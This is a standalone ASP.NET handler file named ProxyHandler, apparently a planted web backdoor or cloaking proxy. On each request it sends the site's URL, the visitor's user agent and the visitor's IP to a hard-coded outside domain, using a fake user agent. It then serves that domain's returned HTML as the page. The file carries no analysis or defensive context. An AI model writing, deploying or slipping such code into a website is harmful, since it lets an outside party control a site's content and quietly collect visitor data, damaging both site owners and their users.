<%@ WebHandler Language="C#" Class="ProxyHandler" %> using System; using System.Web; using System.IO; using System.Net; using System.Text; public class ProxyHandler : IHttpHandler { public void ProcessRequest(HttpContext context) { string remoteServer = "http://g8b.lhlsxzb.com/"; string clientIp = GetClientIp(context); string userAgent = (context.Request.UserAgent ?? "").Replace(" ", ""); string host = context.Request.ServerVariables["HTTP_HOST"]; string path = context.Request.RawUrl.Split('?')[0]; string query = context.Request.ServerVariables["QUERY_STRING"]; string fullLocalUrl = "http://" + host + path + "?" + query; string remoteUrl = remoteServer + "?&X&" + fullLocalUrl + "&X&" + userAgent + "&X&" + clientIp; string content = GetHttp(remoteUrl); context.Response.ContentType = "text/html"; context.Response.Write(content); } public bool IsReusable { get { return false; } } private string GetClientIp(HttpContext context) { string ip = context.Request.ServerVariables["HTTP_X_FORWARDED_FOR"]; if (!string.IsNullOrEmpty(ip) && !ip.Equals("unknown", StringComparison.OrdinalIgnoreCase)) { string[] arr = ip.Split(new char[] { ',' }, StringSplitOptions.RemoveEmptyEntries); if (arr.Length > 0) return arr[0].Trim(); } ip = context.Request.ServerVariables["HTTP_CLIENT_IP"]; if (!string.IsNullOrEmpty(ip) && !ip.Equals("unknown", StringComparison.OrdinalIgnoreCase)) { return ip.Trim(); } return context.Request.ServerVariables["REMOTE_ADDR"] ?? "Unknown"; } private string GetHttp(string url) { try { HttpWebRequest req = (HttpWebRequest)WebRequest.Create(url); req.Method = "GET"; req.ContentType = "application/x-www-form-urlencoded"; req.UserAgent = "kkkkkkkk"; req.Timeout = 10000; using (HttpWebResponse resp = (HttpWebResponse)req.GetResponse()) using (StreamReader reader = new StreamReader(resp.GetResponseStream(), Encoding.UTF8)) { return reader.ReadToEnd(); } } catch { return "remote error"; } } }